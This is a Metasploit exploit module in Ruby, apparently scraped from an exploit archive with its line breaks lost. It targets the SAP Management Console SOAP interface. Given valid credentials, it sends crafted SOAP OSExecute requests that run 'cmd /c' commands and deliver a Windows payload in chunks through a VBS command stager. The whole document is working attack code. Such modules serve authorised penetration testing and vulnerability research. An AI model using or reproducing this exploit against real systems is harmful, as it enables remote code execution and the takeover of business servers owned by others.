SAP Management Console – OSExecute Payload Execution (Metasploit)
## # $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'SAP Management Console OSExecute Payload Execution', 'Version' => '$Revision: 14048 $', 'License' => MSF_LICENSE, 'Author' => [ 'Chris John Riley' ], 'Description' => %q{ This module executes an arbitrary payload through the SAP Management Console SOAP Interface. A valid username and password must be provided. }, 'References' => [ # General [ 'URL', 'http://blog.c22.cc' ] ], 'Privileged' => true, 'DefaultOptions' => { }, 'Payload' => { 'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4", }, 'Platforms' => [ 'win' ], 'Targets' => [ [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 08 2011' )) register_options( [ Opt::RPORT(50013), OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('USERNAME', [true, 'Username to use', '']), OptString.new('PASSWORD', [true, 'Password to use', '']), ], self.class) register_advanced_options( [ OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']), ], self.class) register_autofilter_ports([ 50013 ]) end def autofilter false end def exploit print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues print_status("Using custom payload size of #{linemax}") if linemax != 7500 execute_cmdstager({ :delay => 0.35, :linemax => linemax }) handler end # This is method required for the CmdStager to work... def execute_command(cmd, opts) soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' xsi = 'http://www.w3.org/2001/XMLSchema-instance' xs = 'http://www.w3.org/2001/XMLSchema' sapsess = 'http://www.sap.com/webas/630/soap/features/session/' ns1 = 'ns1:OSExecute' cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line if cmd_s.length > 1 print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)") end cmd_s = cmd_s.collect(&:strip) cmd_s.each do |payload| data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n" data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n" data << '<SOAP-ENV:Header>' + "\r\n" data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n" data << '<enableSession>true</enableSession>' + "\r\n" data << '</sapsess:Session>' + "\r\n" data << '</SOAP-ENV:Header>' + "\r\n" data << '<SOAP-ENV:Body>' + "\r\n" data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip data << '</command><async>0</async></' + ns1 + '>' + "\r\n" data << '</SOAP-ENV:Body>' + "\r\n" data << '</SOAP-ENV:Envelope>' + "\r\n\r\n" user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) begin res = send_request_raw({ 'uri' => "/#{datastore['URI']}", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Length' => data.length, 'SOAPAction' => '""', 'Authorization' => 'Basic ' + user_pass, 'Content-Type' => 'text/xml; charset=UTF-8', } }, 60) if (res.code != 500 and res.code != 200) print_error("[SAP] An unknown response was received from the server") abort("Invlaid server response") elsif res.code == 500 body = res.body if body.match(/Invalid Credentials/i) print_error("[SAP] The Supplied credentials are incorrect") abort("Exploit not complete, check credentials") elsif body.match(/Permission denied/i) print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions") raise RuntimeError.new("Exploit not complete, check credentials") end end rescue ::Rex::ConnectionError print_error("[SAP] Unable to attempt authentication") break end end end end |